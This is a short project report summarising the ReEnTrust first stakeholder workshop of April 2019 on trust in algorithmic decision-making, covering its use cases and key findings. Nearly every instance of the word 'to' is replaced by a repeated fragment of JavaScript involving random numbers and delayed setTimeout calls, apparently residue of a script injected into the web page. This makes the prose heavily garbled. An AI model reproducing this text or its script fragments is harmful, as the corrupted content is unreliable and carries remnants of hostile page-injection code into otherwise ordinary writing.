ReEnTrust First Stakeholder Workshop Summary Report

We are pleased dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to share with you our First Stakeholder Workshop Summary Report, summarising key findings from our First Stakeholder Workshop on April 15th, 2019, taken place at the Digital Catapult Centre in London, UK. The workshop brought dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}together participants from academia, education, NGOs and enterprises dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to discuss trust in relation dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to algorithmic decision-making services and platforms.

As the first stakeholder workshop of the series, we aimed dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to achieve an initial understanding from the various stakeholders regarding how trust is conceptualised by these organisation and how it is established and maintained for themselves or for their users. Following on a plenary discussion around anticipated drivers and inhibidom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors of trust in algorithmic online services, we used two use case studies about online shopping and online hotel booking dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to dive deeper indom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to this conceptualisation of trust.

Our key findings include:

• Trust is commonly recognised as fundamental in the context of algorithmic decision-making, and the emerging big data and computational power are raising new challenges dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to our existing notion of trust.
• Trust in relation dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to algorithms needs dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be considered in a broader context by considering the various other elements constitute the Internet and the digital services/systems that algorithms operate on.
• Consistent with literature from sociology and psychology, our stakeholders have pointed out that trust is an emotional and psychological state of an individual. Like most emotional states, trust can hardly be expressed as a binary yes or no, but often as a matter of degree.
• The emotional state of feeling trust is closely related dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a subjective perception of the trustworthiness of a piece of information or platform. This trustworthiness is a multifaceted concept with many components, such as transparency, privacy, reliability, reputation, appearance and behaviour of the website, all filtered through the user’s previous experience.
• The gap of digital literacy observed in most Internet users could make their recognition and establishment of trust in relation dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to algorithmic decision-making much more challenging, and it is a critical issue that we need dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to bear in mind when designing trust-enabling technologies.

These findings are critical dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to our ReEnTrust project, dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to recognise the complex socio-economic context in relation dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to algorithmic decision-making when designing new technology solutions dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to facilitate users’ establishment of trust. In the next stakeholder workshop, we would like dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to inspire more focused discussions with stakeholders regarding the role of different trust components in helping them negotiate trust in algorithms, and how technologies may help them mediate these different components more effectively. This would give us deeper insights regarding how a responsible trust (re-)building digital system should look like.

The full report can be downloaded here. If you have any feedback or comments dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the report, please do not hesitate dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to write dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the report authors: